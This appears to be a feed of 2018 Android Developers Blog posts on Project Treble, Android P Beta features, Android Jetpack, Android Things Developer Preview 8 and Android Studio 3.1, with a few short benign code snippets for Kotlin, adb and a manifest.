Faster Adoption with Project Treble

Posted by Iliyan Malchev, Project Treble Architect

Android P Beta available at android.com/beta

As Android continues to evolve, each new release of the OS brings new features, new user experiences, and better security. It is important that these new releases find their way to mobile devices as fast as possible.

Yesterday, we announced that the following devices, in addition to Pixel and Pixel 2, now support Android P Beta: Sony Xperia XZ2, Xiaomi Mi Mix 2S, Nokia 7 Plus, Oppo R15 Pro, Vivo X21, OnePlus 6 and Essential PH‑1. Android P Beta provides an opportunity for developers and early adopters around the world to try the latest Android release, test their apps, and provide feedback.

In this post, we provide an update to Project Treble and the technology that allowed us to bring Android Beta to more phones this year.

Building the Foundation

Bringing the new Android release quickly to the hands of users takes a combined effort between Google, silicon manufacturers (SM), device manufacturers (OEMs), and carriers. This process is technically challenging and requires aligning the schedules between our industry partners.

To reduce the technical difficulties, we launched Project Treble as part of Android Oreo.

The Silicon Manufacturers

Next, to capitalize on the foundation we built, we collaborated closely with the silicon manufacturers, where the journey of making an Android device always begins.

Any device with the latest version of Android must be based on an SoC with the proper software support for it. This software, commonly referred to as the Board Support Package (BSP), contains not only the chip-specific vendor implementation, but also all of the Android Open Source Project (AOSP) and pieces of the framework that are missing from AOSP itself (e.g., carrier-specific telephony functionality).

The life cycle of an Android Dessert release passes through Silicon Manufacturer Partners, Device Makers and Carriers, until it gets to the hands of the end-users.

These BSPs are the starting point for all device launches. OEMs adapt the vendor implementation to their hardware and add their own custom framework components.

While silicon manufacturers always want the latest version of Android in their BSPs, the costs have been prohibitive. By making it possible for newer AOSP frameworks to run on older, already-released vendor implementations, Project Treble dramatically reduces the need for continuous investment in older silicon to support each Android release. Silicon manufacturers have to do all this work just once, rather than every time there is a new release of Android.

Solving the Timing Problem

However, that first time still has to happen. Below is a chart, which illustrates the effort the various actors expend over time as they go through each release. You can think of it as code churn or bug count over time.

Overlapping timelines and efforts for dessert adoption among Android, Chip Support and OEMs increase the overall effort to get the Android release out.

The chart shows how there is very little time in the year for Google, silicon manufacturers, and the OEMs to all this work. Any overlap between phases causes code churn and introduces significant schedule risk. For OEMs who target the holiday season, it is often safer to launch on an older BSP with a year-old or even older Android version. This dynamic has been at the heart of the slow uptake of the latest Android release, even on flagship devices.

Qualcomm, Samsung and MediaTek co-develop their BSP with Android.

To solve this, we’ve worked closely with Qualcomm, MediaTek and Samsung SLSI to co-develop their BSPs, starting with Android P. Their BSPs are now ready for Android P on a much-accelerated schedule, reducing the overall effort significantly. These silicon manufacturers are now able to provide a stable and high-quality release much earlier than before, allowing OEMs to bring the latest innovations of Android to their customers across the globe.

Devices can launch earlier with Project Treble as the timeline for developing Android and Chipset Support overlaps.

This is an important step in accelerating the adoption of Android releases that bring numerous benefits to our partners, users, and Android developers. We look forward to seeing many more partners launch or upgrade devices to Android P.

Google I/O 2018: What’s new in Android


Posted By Stephanie Cuthbertson, Product Management Director, Android

As Android has grown exponentially over the past ten years, we’ve also seen our developer community grow dramatically. In countries like China, India, and Brazil, the number of developers using our IDE almost tripled – in just two years. With such growth, we feel an even greater responsibility to invest in our developer experience. Guided by your feedback, we’ve focused our efforts on making mobile development fast and easy, helping you get more users by making apps radically smaller, and increasing engagement to keep users coming back. We’re also pretty excited to see Android Things go to 1.0, creating new opportunities for you to develop – everything from major consumer devices, to cool remote control vehicles! As Day 1 of Google I/O kicks off, let’s take a closer look at these major themes from the Developer Keynote:

Development: making mobile development fast and easy

  • Android Jetpack — Today, we announced Android Jetpack, designed to accelerate your app development. Android Jetpack is the next generation of Android components, bringing together the benefits of the Support Library — backwards compatibility and immediate updates — to a larger set of components, making it quick and easy to build robust, high quality apps. Android Jetpack manages activities like background tasks, navigation, and lifecycle management, so you can eliminate boilerplate code and focus on what makes your app great. Android Jetpack is designed to work well with Kotlin, saving you even more code with Android KTX. The new Android Jetpack components released today include WorkManager, Paging, Navigation, and Slices.

  • Kotlin — Since announcing support for Kotlin last year, the developer community has embraced the language. Most importantly, 95% of developers tell us they are very happy with using Kotlin for their Android development. And, the more developers use it, the more that number rises. The number of Play Store apps using Kotlin grew 6x in the last year. 35% of pro developers use it, and that number is growing each month. We are continuing to improve the Kotlin developer experience across our libraries, tooling, runtime, documentation and training. Android KTX is launching today as part of Android Jetpack to optimize the Kotlin developer experience. Tooling continues to improve with Android Studio, Lint support, and R8 optimizations. We have even tuned the Android Runtime (ART) in Android P, so that apps built with Kotlin can run faster. We have rolled out Kotlin code snippets in our official documentation, and are publishing a Kotlin version of the API reference documentation today. Earlier this week, we launched a new Kotlin Bootcamp on Udacity, which is a great resource for developers who are new to Kotlin. Lastly, we now have a Kotlin specialization in the Google Developers Experts Program. If you still haven’t used Kotlin, I hope you you give it a try.
  • Android Studio 3.2 CanaryAndroid Studio 3.2 features tools for Android Jetpack including a visual Navigation Editor and new code refactoring tools. The canary release also includes build tools to create the new Android App Bundle format, Snapshots in the Android Emulator for fast start time, new R8 optimizer for smaller download and install app code size, a new Energy Profiler to measure app impact on battery life, and more. You can download the latest version of Android Studio 3.2 from the canary channel download page.

Distribution: making apps radically smaller

Introducing Android App Bundle.

  • Android App Bundle & Google Play Dynamic Delivery — Introducing the new app model for Android. Dramatically reduce app size with a new publishing format—the Android App Bundle. In Android Studio, you’ll now build an app bundle that contains everything your app needs for any device—all the languages, every device screen size, every hardware architecture. Then, when a user downloads your app, Google Play’s new Dynamic Delivery will only deliver the code and resources matching the user’s device. People see a smaller install size on the Play Store, can download your app more quickly, and save space on their devices. An example of all resources being delivered to a device via a legacy APK and an example of Dynamic Delivery serving just what’s needed to a device.
    (Left) An example of all resources being delivered to a device via a legacy APK.
    (Right) An example of Dynamic Delivery serving just what’s needed to a device.
  • Dynamic features via the Android App Bundle — The Android App Bundle also enables modularization so that you can deliver features on-demand, instead of during install. You can build dynamic feature modules in the latest Android Studio canary release. Join our beta program to publish them on Google Play.
  • Google Play Console — New features and reports in the Play Console will help you improve your app’s performance and grow your business. Read about the improvements to the dashboard, statistics, Android vitals, pre-launch report, acquisition report, and subscriptions dashboard. You can also upload, test, and publish apps using our new publishing format, the Android App Bundle.
  • Google Play Instant — After launching in beta at GDC, today we announced that all game developers can build instant apps and we’re thrilled to welcome Candy Crush Saga. Google Play Instant is now available on over 1 billion devices worldwide from the Play Store, search, social and most places you can tap a link. To make instant apps easier to build, we are launching a Unity plugin and beta integration with Cocos creator this week. Recently, we’ve started testing Google Play Instant compatibility with AdWords, allowing people to try out games directly from ads, across all the channels reached by Universal App campaigns.

Engagement: bringing users back more and more.

  • Slices Slices are UI templates that display a rich array of dynamic, and interactive content from your app, across Android and within Google surfaces. Slices can include live-data, scrolling content, inline actions, and deep-linking into your app so users can do everything from playing music to checking reservation updates. Slices can also contain interactive controls like toggles and sliders. You can get started building Slices today, and they will begin appearing for users soon.
Check reservations with Slices.Control music with Slices.Call a Lyft using Slices.
  • Actions — Actions are a new way to make your app’s capabilities and content more accessible, so that people can easily get to it at the right moment. App Actions will appear to users based on usage and relevance, across multiple Google and Android surfaces, such as the Google Search App, the Play Store, the Google Assistant, and the Launcher. App Actions will be available for all developers to try soon, please sign up here if you’d like to be notified. You can also choose to build a Conversational Action as a companion experience to your app. This works on a variety of Assistant-enabled devices, such as speakers and smart displays. Both types of Actions use a new common catalog of intents.

Actions are a new way to make your app's capabilities and content more accessible, so that people can easily get to it at the right moment.

Smarter devices: a powerful platform for IoT devices

  • Android Things 1.0 Android Things is Google’s managed OS that enables developers to build and maintain Internet of Things devices at scale. Earlier this year at CES, we announced Lenovo, Harman, LG, and iHome are all building Assistant-enabled products powered by Android Things. Introducing Android Things 1.0! After a developer preview with over 100,000 SDK downloads and feedback from more than 10,000 developers, we announced Android Things 1.0 this week. Four new System-on-Modules (SoMs) are now supported on the platform with guaranteed long-term support for three years and additional options for extended support, making it easier to go from prototypes to production. To make product development more seamless than ever, the accompanying Android Things Console is also ready for production. It helps developers easily manage and update their devices with the latest stability fixes and security updates provided by Google.

To get started with Android Things, visit our developer site and the new Community Hub to explore kits, sample code, community projects, and join Google’s IoT Developers Community to stay updated. We introduced a limited program to partner with the Android Things team for technical guidance and support building your product. If your company is interested, sign up for our OEM Partner Program.
In addition to all these new developments, we’re on the ground in over 140 countries, growing and expanding the developer community through programs such as Women Techmakers and Google Developer Groups (GDGs). We’re investing in training programs like Google Developers Certification, building more courses through Udacity and other partners, to help developers deepen their technical capability. Today, 225 Google Developers Agency Program members from 50 agencies in 15 countries, are Android Certified. As part of our Google Developers Experts Program, we also now have more than 90 Android Developer Experts around the world actively supporting developers, start-ups and companies to build and launch innovative apps.
We also continue to recognize the great work from top app and game developers. This year, we held our third annual Google Play Awards. The nominees represent some of the best experiences available on Android, with an emphasis on overall quality, strong design, technical performance, and innovation. Check out the winners and nominees.
During Google I/O, attendees and viewers have an opportunity to dive deep with 48 Android & Play breakout sessions. Thank you for all your wonderful feedback, and please keep giving us your advice on where we should go next.

Use Android Jetpack to Accelerate Your App Development

Posted by Chris Sells, Benjamin Poiesz, Karen Ng, Product Management, Android Developer Tools

Today we’re excited to introduce Android Jetpack, the next generation of components, tools and architectural guidance to accelerate your Android app development.

Android Jetpack was inspired by the Support Library, a set of components to make it easy to take advantage of new Android features while maintaining backwards compatibility; it’s currently used by 99% of every app in the Play Store. Following on that success, we introduced the Architecture Components, designed to make it easier to deal with data in the face of changes and the complications of the app lifecycle. Since we introduced those components at I/O just one year ago, an overwhelming number of you have adopted them. Companies such as LinkedIn, Zillow and iHeartRadio are seeing fewer bugs, higher testability and more time to focus on what makes their app unique.

The Android developer community has been clear — not only do you like what we’ve done with these existing components, but we know that you want more! And so more is what you get.

What is Android Jetpack?

Android Jetpack is a set of components, tools and guidance to make great Android apps. The Android Jetpack components bring together the existing Support Library and Architecture Components and arranges them into four categories:

Android Jetpack components are provided as “unbundled” libraries that are not part of the underlying Android platform. This means that you can adopt each component at your own speed, at your own time. When new Android Jetpack functionality is available, you can add it to your app, deploy your app to the Play Store and give users the new features all in a single day (if you’re quick)! The unbundled Android Jetpack libraries have all been moved into the new androidx.* namespace (as described in detail in this post).

In addition, your app can run on various versions of the platform because Android Jetpack components are built to provide their functionality independent of any specific version, providing backwards compatibility.

Further, Android Jetpack is built around modern design practices like separation of concerns and testability as well as productivity features like Kotlin integration. This makes it far easier for you to build robust, high quality apps with less code. While the components of Android Jetpack are built to work together, e.g. lifecycle awareness and live data, you don’t have to use all of them — you can integrate the parts of Android Jetpack that solve your problems while keeping the parts of your app that are already working great.

We know that these benefits are important to you because of feedback like this:

“We had been thinking of trying out MVVM in our code base. Android Architecture Components gave us an easy template to implement it. And it’s helped make our code more testable as well; the ability to unit test ViewModels has definitely increased code robustness.”

— Sumiran Pradhan, Sr. Engineer, Zillow

If you want to learn more about how companies are using Android Jetpack components, you can read the developer stories on the Android Developer site.

And finally, as you can see from the Android Jetpack diagram above, today we’re announcing new components as well.

What’s New

Android Jetpack comes with five new components:

  • WorkManager alpha release
  • Navigation alpha release
  • Paging stable release
  • Slices alpha release
  • Android KTX (Kotlin Extensions) alpha release

WorkManager

The WorkMananager component is a powerful new library that provides a one-stop solution for constraint-based background jobs that need guaranteed execution, replacing the need to use things like jobs or SyncAdapters. WorkManager provides a simplified, modern API, the ability to work on devices with or without Google Play Services, the ability to create graphs of work, and the ability to query the state of your work. Early feedback is very encouraging but we love to make sure that your use cases are covered, too. You can see what we have so far and provide feedback on our alpha on the WorkManager component.

Navigation

While activities are the system provided entry points into your app’s UI, their inflexibility when it comes to sharing data between each other and transitions has made them a less than ideal architecture for constructing your in-app navigation. Today we are introducing the Navigation component as a framework for structuring your in-app UI, with a focus on making a single-Activity app the preferred architecture. With out of the box support for Fragments, you get all of the Architecture Components benefits such as Lifecycle and ViewModel while allowing Navigation to handle the complexity of FragmentTransactions for you. Further, the Navigation component allows you to declare transitions that we handle for you, automatically builds the correct Up and Back behavior, includes full support for deep links, and provides helpers for connecting Navigation into the appropriate UI widgets, like the navigation drawer and bottom navigation. But that’s not all! The Navigation Editor in Android Studio 3.2 allows you to see and manage your navigation properties visually:

The Navigation component is also in alpha and we’d love your feedback.

Paging

Data presented in an app can be large and costly to load, so it’s important to avoid downloading, creating, or presenting too much at once. The Paging component version 1.0.0 makes it easy to load and present large data sets with fast, infinite scrolling in your RecyclerView. It can load paged data from local storage, the network, or both, and lets you define how your content gets loaded. It works out of the box with Room, LiveData, and RxJava.

Slices

And finally, to round out the set of new features making their debut in Android Jetpack is the Slices component. A “slice” is a way to surface your app’s UI inside of the Google Assistant as a result of a search:

You can learn all about the Slices component and how to integrate it into your app on the Android Developer website.

Android KTX

And last but not least, one goal of Android Jetpack takes advantage of Kotlin language features that make you more productive. Android KTX lets you transform Kotlin code like this:

view.viewTreeObserver.addOnPreDrawListener(
  object : ViewTreeObserver.OnPreDrawListener {
    override fun onPreDraw(): Boolean {
      viewTreeObserver.removeOnPreDrawListener(this)
      actionToBeTriggered()
      return true
    }
});

into more concise Kotlin code like the following:

view.doOnPreDraw { actionToBeTriggered() }

This is just the first step in bringing Kotlin support to Android Jetpack components; our goal is to make Android Jetpack great for Kotlin developers (and of course Java developers!).You can read more about Android KTX on the Android Developer web site.

Getting Started

You can get started with Android Jetpack at developer.android.com/jetpack. You’ll find docs and videos for Android Jetpack, see what’s new in Android Jetpack components, participate in the community and give us feedback. We’ve also created a YouTube playlist devoted to Android Jetpack, so you can tune in for information about Android Jetpack, components, tools and best practices.

Getting Started with Android Jetpack will tell you how to bring the Android Jetpack components into your existing apps and help you get started with new Android Jetpack apps. Android Studio 3.2 has great tooling support for Android Jetpack. For building new apps, use the Activity & Fragment+ViewData activity, which you can get to from File | New | New Project in Android Studio:

What’s Next

With Android Jetpack, we’re taking the benefits of the Support Library and the Architecture Components and turning it up a notch with new components, Android Studio integration and Kotlin support. And while Android Jetpack provides the next generation components, tools and guidance to accelerate your Android development, we’ve got a lot more that we want to do and we want your help. Please go to developer.android.com/jetpack and let us know what we can do to make your experience building Android apps even better.

What’s new in Android P Beta

android P logo

Posted By Dave Burke, VP of Engineering

android P logo

Earlier today we unveiled a beta version of Android P, the next release of Android. Android P puts AI at the core of the operating system and focuses on intelligent and simple experiences. You can read more about the new user features here.

For developers, Android P beta offers a range of ways to take advantage of these new smarts, especially when it comes to increasing engagement with your apps.

You can get Android P beta on Pixel devices by enrolling here. And thanks to Project Treble, you can now get the beta on top devices from our partners as well — Essential, Nokia, Oppo, Sony, Vivo, and Xiaomi, with others on the way.

Visit android.com/beta for the full list of devices, and details on how to get Android P beta on your device. To get started developing with Android P beta, visit developer.android.com/preview.

A smarter smartphone, with machine learning at the core

Android P makes a smartphone smarter, helping it learn from and adapt to the user. Your apps can take advantage of the latest in machine intelligence to help you reach more users and offer new kinds of experiences.

Adaptive Battery

Adaptive battery in Settings

Battery is the number one priority we hear from mobile phone users, regardless of the device they are using. In Android P we’ve partnered with DeepMind on a new feature we call Adaptive Battery that optimizes how apps use battery.

Adaptive Battery uses machine learning to prioritize access to system resources for the apps the user cares about most. It puts running apps into groups with different restrictions using four new “App Standby buckets” ranging from “active” to “rare”. Apps will change buckets over time, and apps not in the “active” bucket will have restrictions in: jobs, alarms, network and high-priority Firebase Cloud Messages.

If your app is optimized for Doze, App Standby, and Background Limits, Adaptive Battery should work well for you right out of the box. We recommend testing your app in each of the four buckets. Check out the documentation for the details.

App Actions

App Actions are a new way to raise the visibility of your app to users as they start their tasks. They put your app’s core capabilities in front of users as suggestions to handle their tasks, from key touch-points across the system like the Launcher and Smart Text Selection, Google Play, Google Search app, and the Assistant.

Actions use machine learning to surface just the right apps to users based on their context or recent interactions. Because Actions highlight your app where and when it’s most relevant, they’re a great way to reach new users and re-engage with existing users.

App Actions surfacing apps in the All Apps screen.

To support App Actions, just define your app’s capabilities as semantic intents. App Actions use the same catalog of common intents as conversational Actions for the Google Assistant, which surface on voice-activated speakers, Smart displays, cars, TVs, headphones, and more. There’s no API surface needed for App Actions, so they will work on any supported Android platform version.

Actions will be available soon for developers to try, sign up here if you’d like to be notified.

Slices

Slice template example

Along with App Actions we’re introducing Slices, a new way for your apps to provide remote content to users. With Slices you can surface rich, templated UI in places like Google Search and Assistant. Slices are interactive with support for actions, toggles, sliders, scrolling content, and more.

Slice template example

Slices are a great new way to engage users and we wanted them to be available as broadly as possible. We added platform support in Android P, and we built the developer APIs and templates into Android Jetpack, our new set of libraries and tools for building great apps. Through Jetpack, your Slices implementation can target users all the way back to Kitkat — across 95% of active Android devices. We’ll also be able to update the templates regularly to support new use cases and interactions (such as text input).

Slice template example

Check out the Getting Started guide to learn how to build with Slices — you can use the SliceViewer tool to see how your Slices look. Over time we plan to expand the number of places that your Slices can appear, including remote display in other apps.

Smart reply in notifications

The Smart Reply feature in Gmail and Inbox are excellent examples of how machine intelligence can positively transform an app experience. In Android P we’ve brought Smart Replies to Notifications with an API to let you provide this optimization to your users. To make it easier to populate replies in your notifications, you’ll soon be able to use ML Kit — see developers.google.com/mlkit for details.

Text Classifier

In Android P we’ve extended the ML models that identify entities in content or text input to support more types like Dates and Flight Numbers and we’re making those improvements available to developers through the TextClassifier API. We’re also updating the Linkify API that automatically creates links to take advantage of these TextClassification models and have enriched the options the user has for quick follow on actions. Developers will have additional options of linkifying any of the entities recognized by the TextClassifier service. Smart Linkify has significant improvements in accuracy and precision of detection and performance.

Even better, the models are now updated directly from Google Play, so your apps can take advantage of model improvements using the same APIs. Once the updated models are installed, all of the entity recognition happens on-device and data is not sent over the network.

Simplicity

We put a special emphasis on simplicity in Android P, evolving Android’s UI to streamline and enhance user tasks. For developers, the changes help improve the way users find, use, and manage your apps.

New system navigation

We’re introducing a new system navigation in Android P that gives users easier access to Home, Overview, and the Assistant from a single button on every screen. The new navigation simplifies multitasking and makes discovering related apps much easier. In the Overview, users have a much larger view of what they were doing when they left each app, making it much easier to see and resume the activity. The Overview also provides access to search, predicted apps, and App Actions, and takes users to All Apps with another swipe.

New system navigation in Android P giving faster access to recents and predicted apps.

Text Magnifier

In Android P we’ve also added a new Magnifier widget, designed to make it easier to select text and manipulate the text cursor in text. By default, classes that extend TextView automatically support the magnifier, but you can use the Magnifier API to attach it to any custom View, which opens it up to a variety of uses.

Background restrictions

Battery restrictions in Android P.

We’re making it simple for users to identify and manage apps that are using battery in the background. From our work on Android Vitals, Android can detect battery-draining app behaviors such as excessive wake locks and others. Now in Android P, Battery Settings lists such apps and lets users restrict their background activities with a single tap.

When an app is restricted, its background jobs, alarms, services, and network access are affected. To stay off of the list, pay attention to your Android Vitals dashboard in the Play Console, which can help you understand performance and battery issues.

Background Restrictions ensures baseline behaviors that developers can build for across devices and manufacturers. Although device makers can add restrictions on top of the core set, they must provide user controls via Battery Settings.

We’ve added a standard API to let apps check whether they are restricted, as well as new ADB commands to let you manually apply restrictions to your apps for testing. See the documentation for details. We also plan to add restrictions related metrics to your Play Console Android Vitals dashboard in the future.

Enhanced audio with Dynamics Processing

Android P introduces a new Dynamics Processing Effect in the Audio Framework that lets developers improve audio quality. With Dynamics Processing, you can isolate specific frequencies and lower loud or increase soft sounds to enhance the acoustic quality of your application. For example, your app can improve the sound of someone who speaks quietly in a loud, distant or otherwise acoustically challenging environment.

The Dynamics Processing API gives you access to a multi-stage, multi-band dynamics processing effect that includes a pre-equalizer, a multi-band compressor, a post-equalizer and a linked limiter. It lets you modify the audio coming out of Android devices and optimize it according to the preferences of the listener or the ambient conditions. The number of bands and active stages is fully configurable, and most parameters can be controlled in realtime, such as gains, attack/release times, thresholds, etc.

To see what you can do with the Dynamics Processing Effect, please see the documentation.

Chart showing Dynamics processing levels vs standard audible levels.

Security

Biometric prompt

Biometric prompt is displayed by the system.

Android P provides a standard authentication experience across the growing range of biometric sensors. Apps can use the new BiometricPrompt API instead of displaying their own biometric auth dialogs. This new API replaces the FingerprintDialog API added in DP1. In addition to supporting Fingerprints (including in-display sensors), it also supports Face and Iris authentication, providing a system-wide consistent experience. There is a single USE_BIOMETRIC permission that covers all device-supported biometrics. FingerprintManager and the corresponding USE_FINGERPRINT permission are now deprecated, so please switch to BiometricPrompt as soon as possible.

Protected Confirmation

Android P introduces Android Protected Confirmation, which use the Trusted Execution Environment (TEE) to guarantee that a given prompt string is shown and confirmed by the user. Only after successful user confirmation will the TEE then sign the prompt string, which the app can verify.

Stronger protection for private keys

We’ve added StrongBox as a new KeyStore type, providing API support for devices that provide key storage in tamper-resistant hardware with isolated CPU, RAM, and secure flash. You can set whether your keys should be protected by a StrongBox security chip in your KeyGenParameterSpec.

Android P Beta

Bringing a new version of Android to users takes a combined effort across Google, silicon manufacturers (SM), device manufacturers (OEMs), and carriers. The process is technically challenging and can take time — to make it easier, we launched Project Treble last year as part of Android Oreo. Since then we’ve been working with partners on the initial bring-up and now we’re seeing proof of what Treble can do.

Today we announced that 6 of our top partners are joining us to release Android P Beta on their devices — Sony Xperia XZ2, Xiaomi Mi Mix 2S, Nokia 7 Plus, Oppo R15 Pro, Vivo X21UD and X21, and Essential PH‑1. We’re inviting early adopters and developers around the world to try Android P Beta on any of these devices — as well as on Pixel 2, Pixel 2 XL, Pixel, and Pixel XL.

You can see the full list of supported partner and Pixel devices at android.com/beta. For each device you’ll find specs and links to the manufacturer’s dedicated site for downloads, support, and to report issues. For Pixel devices, you can now enroll your device in the Android Beta program and automatically receive the latest Android P Beta over-the-air.

Try Android P Beta on your favorite device today and let us know your feedback! Check out our post on Faster Adoption with Project Treble for more details.

Make your apps compatible

With more users starting to get Android P Beta on their devices, now is the time to test your apps for compatibility, resolve any issues, and publish an update as soon as possible. See the migration guide for steps and a recommended timeline.

To test for compatibility, just install your current app from Google Play onto a device or emulator running Android P Beta and work through the user flows. The app should run and look great, and handle the Android P behavior changes properly. In particular, pay attention to adaptive battery, Wi-Fi permissions changes, restrictions on use of camera and sensors from the background, stricter SELinux policy for app data, and changes in TLS enabled by default, and Build.SERIAL restriction.

Compatibility through public APIs

It’s important to test your apps for uses of non-SDK interfaces. As noted previously, in Android P we’re starting a gradual process to restrict access to selected non-SDK interfaces, asking developers — including app teams inside Google — to use the public equivalents instead.

If your apps are using private Android interfaces and libraries, you should move to using public APIs from the Android SDK or NDK. The first developer preview displayed a toast warning for uses of non-SDK interfaces — starting in Android P Beta, uses of non-SDK interfaces that are not exempted will generate errors in your apps — so you’ll now get exceptions thrown instead of a warning.

To help you identify reflective usage of non-SDK APIs, we’ve added two new methods in StrictMode. You can use detectNonSdkApiUsage() to warn when your app accesses non-SDK APIs via reflection or JNI, and you can use permitNonSdkApiUsage() to suppress StrictMode warnings for those accesses. This can help you understand your app’s use of non-SDK APIs — even if the APIs are exempted at this time, it’s best to plan for the future and eliminate their use.

In cases where there is no public API that meets your use-case, please let us know immediately. We want to make sure that the initial rollout only affects interfaces where developers can easily migrate to public alternatives. More about the restrictions is here.

Test with display cutout

It’s also important to test your app with display cutout. Now you can use several of our partner devices running Android Beta to make sure your app looks its best with a display cutout. You can also use the emulated cutout support that’s available on any Android P device through Developer options.

Get started with Android P

When you’re ready, dive into Android P and learn about the many new features and APIs you can take advantage of in your apps. To make it easier to explore the new APIs, take a look at the API diff reports (API 27->DP2, DP1->DP2) along with the Android P API reference. Visit the Developer Preview site for details. Also check out this video highlighting what’s new for developers in Android P Beta.

To get started with Android P, download the P Developer Preview SDK and tools into Android Studio 3.1 or use the latest version of Android Studio 3.2. If you don’t have a device that runs Android P Beta, you can use the Android emulator to run and test your app.

As always, your feedback is critical, so please let us know what you think — the sooner we hear from you, the more of your feedback we can integrate. When you find issues, please report them here. We have separate hotlists for filing platform issues, app compatibility issues, and third-party SDK issues.

Hello World, AndroidX

Posted by Alan Viverette (/u/alanviverette), Kathy Kam (@kathykam) , Lukas Bergstrom (@lukasb)

Today, we launch an early preview of the new Android extension libraries (AndroidX) which represents a new era for the Support Library. Please previe…

Android Things Release Candidate

Posted by Dave Smith, Developer Advocate for IoT

Earlier this year at CES, we showcased consumer products powered by Android Things from partners like Lenovo, LG, JBL, iHome, and Sony. We are excited to see Android Things enable the wider developer ecosystem as well. Today we are announcing the final preview release of Android Things, Developer Preview 8, before the upcoming stable release.

Feature complete SDK

Developer Preview 8 represents the final API surface exposed in the Android Things support library for the upcoming stable release. There will be no more breaking API changes before the stable v1.0 release of the SDK. For details on all the API changes included in DP8, see the release notes. Refer to the updated SDK reference to review the classes and methods in the final SDK.

This release also brings new features in the Android Things developer console to make building and managing production devices easier. Here are some notable updates:

Production-focused console enhancements

With an eye towards building and shipping production devices with the upcoming LTS release, we have made several updates to the Android Things developer console:

  • Enhanced OTA: Unpublish the current OTA build when issues are discovered in the field.
  • Visual storage layout: Configure the device storage allocated to apps and data for each build, and get an overview of how much storage your apps require.
  • Font/locale controls: Configure the set of supported fonts and locales packaged into each build.
  • Group sharing: Product sharing has been extended to include support for Google Groups.

App library

The new app library enables you to manage APKs more easily without the need to package them together in a separate zipped bundle. Track individual versions, review permissions, and share your apps with other console users. See the app library documentation for more details.

Permissions

On mobile devices, apps request permissions at runtime and the end user grants them. In earlier previews, Android Things granted these same permissions automatically to apps on device boot. Beginning in DP8, these permissions are granted using a new interface in the developer console, giving developers more control of the permissions used by the apps on their device.

This change does not affect development, as Android Studio grants all permissions by default. Developers using the command line can append the -g flag to the adb install command to get the same behavior. To test how apps on your device behave with certain permissions revoked, use the pm command:

$ adb shell pm [grant|revoke] <permission-name> ...

App launch behavior

Embedded devices need to launch their primary application automatically after the device boots, and relaunch it if the app terminates unexpectedly. In earlier previews, the main app on the device could listen for a custom IOT_LAUNCHER intent to enable this behavior. Beginning in DP8, this category is replaced by the standard CATEGORY_HOME intent.

<activity android:name=".HomeActivity">
    ...

    <!-- Launch activity automatically on boot, relaunch on termination. -->
    <intent-filter>
        <action android:name="android.intent.action.MAIN"/>
        <category android:name="android.intent.category.HOME"/>
        <category android:name="android.intent.category.DEFAULT"/>
    </intent-filter>
</activity>

Apps that contain an IOT_LAUNCHER intent filter will no longer be triggered on boot. Update your apps to use CATEGORY_HOME instead.

Feedback

Thanks to all of you in the developer community for sharing your feedback with us throughout developer preview. Join Google’s IoT Developers Community on Google+ to let us know what you’re building with Android Things and how we can improve the platform in future releases to help you build connected devices at scale!

Android Studio 3.1

Posted by Jamal Eason, Product Manager, Android

We are excited to announce that Android Studio 3.1 is now available to download in the stable release channel. The focus areas for this release are around product quality and app development productivity. In addition to many underlying quality changes, we added several new features into Android Studio 3.1 that you should integrate into your development flow.

New to Android Studio 3.1 is a C++ performance profiler to help troubleshoot performance bottlenecks in your app code. For those of you with a Room or SQLite database in their your app, we added better code editor support to aid in your SQL table and query creation statements. We also added better lint support for your Kotlin code, and accelerated your testing with an updated Android Emulator with Quick Boot. If any of these features sound exciting or you are looking for the next stable version of Android Studio, you should download Android Studio 3.1 today!

Check out the list of new features in Android Studio 3.1 below, organized by key developer flows.

What’s new in Android Studio 3.1

Develop

  • Kotlin Lint Checks Since announcing official Kotlin language support last year on the Android platform, we continue to invest in Kotlin language support in Android Studio. In Android Studio 3.1, we enhanced the Lint code quality checks so that now you can run them via the command line as well as from the IDE. Just open a Android Studio project, and run gradlew lint via command line. Learn more.

Kotlin Lint checks via command line

  • Database Code Editing Editing inline SQL/Room Database code in your Android project is now even easier with Android Studio 3.1. This release has SQL code completion in your @Query declarations, better SQL statement refactoring, and SQL code navigation across your project. Learn more.

Room Database code completion

  • IntelliJ Platform Update: Android Studio 3.1 includes the IntelliJ 2017.3.3 platform release, which has many new features such as new Kotlin language intentions and built-in support for SVG image preview. Learn more.

Build

  • D8 Dex Compiler D8 is now the default dex compiler in Android Studio 3.1. Replacing the legacy DX compiler, D8 dexing is an under the hood APK compilation step that makes your app size smaller, enables accurate step debugging, and many times leads to faster builds. Ensure that your gradle.properties either has no android.enableD8 flag, or if it does ensure that it is set to true. Learn more.
  • New Build Output Window – Android Studio 3.1 has an updated Build output window which organizes build status and errors in a new tree view. This change also consolidates the legacy Gradle output into this new window. Learn more.

New Build Output Window

Test

  • Quick Boot Quick Boot allows you to resume your Android Emulator session in under 6 seconds. Slow start time on the Android Emulator was a major pain point we heard from you and Quick Boot solves this issue. Like a physical Android device, the emulator must perform an initial cold boot, but subsequent starts are fast. The feature is enabled by default for all Android Virtual Devices. Additionally, in this release, you have finer grain controls of when to use Quick Boot and the ability to save the quick boot state on demand under the emulator settings page. Learn more of other top Android Emulator Features.

Quick Boot On Demand Setting

  • System Images and Frameless Device Skins – The latest version of the Android Emulator now supports the Google Play Store and Google APIs on API 24 (Nougat) – API 27 (Oreo) emulator systems images as well as the P Developer Preview. Additionally the device emulator skins are updated to work in a new frameless mode, which can help you test your app with 18:9 screen aspect ratios, or Android P Developer Preview DisplayCutout APIs. Learn more.

Window frameless mode in the Android Emulator

Optimize

  • C++ CPU Profiling Last year with Android Studio 3.0, we launched a brand new set of Android profilers to measure the CPU, Memory, and Network Activity in your app. With Android Studio 3.1, in addition to performance profiling your Kotlin and Java language app code, you can now profile your C++ code in your app. Using simpleperf as backend, the C++ profiler allows you to record C++ method traces. Learn more.

C++ CPU Profiler

  • Network Profiler Updates: Threads & Network Request To aid with analyzing network traffic in your app, we added a new Network Thread view to inspect multithreaded network traffic, and we also added a new Network Request tab to dig into the network requests over time. With these updates to the Network Profiler you will have additional tools to trace the network traffic from each thread and network request all the way down through the network call stack. Learn more.

Network Profiler with thread support

To recap, Android Studio 3.1 includes these new major features:

Develop

  • Kotlin Lint Checks
  • Database Code Editing
  • IntelliJ Platform Update

Build

  • D8 Dex Compiler
  • New Build Output Window

Test & Debug

  • Quick Boot for Android Emulator
  • API 27 with Google Play Emulator System Images
  • Window frameless mode for Android Emulator

Optimize

  • C++ Profiler
  • Network Profiler – Thread Support
  • Network Profiler – Request Support

Check out the release notes for more details.

Getting Started

Download

